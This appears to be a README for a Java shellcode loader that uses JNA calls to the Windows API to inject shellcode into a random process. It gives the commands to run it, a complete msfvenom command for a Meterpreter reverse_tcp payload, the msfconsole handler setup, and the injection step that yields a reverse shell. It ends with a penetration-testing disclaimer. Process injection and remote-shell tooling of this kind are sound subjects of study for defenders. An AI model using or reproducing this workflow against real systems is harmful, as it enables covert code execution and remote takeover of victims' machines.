
基于Java实现的Shellcode加载器
A ShellCode loader implemented in Java, compatible with 32-bit and 64-bit platforms.
The core principle is to use Jna to call Windows APIs to achieve shellcode injection.
Runtime environment: Jre >= 1.5
Note: This project is already integrated into the ShellCodeLoader module of yzddmr6/As-Exploits.
maven package
By default, a random 32-bit process will be injected; please use 32-bit shellcode.
java -jar ShellcodeLoader.jar shellcode_hex
To inject x64 shellcode
java -jar ShellcodeLoader.jar --x64 shellcode_hex
Generate ShellCode in hex format
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
Then start listening
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
You will then receive a reverse Meterpreter.

This project is provided only for legitimate penetration testing and for enthusiasts to learn and reference. Do not use it for illegal purposes; otherwise, you will bear the relevant responsibility yourself.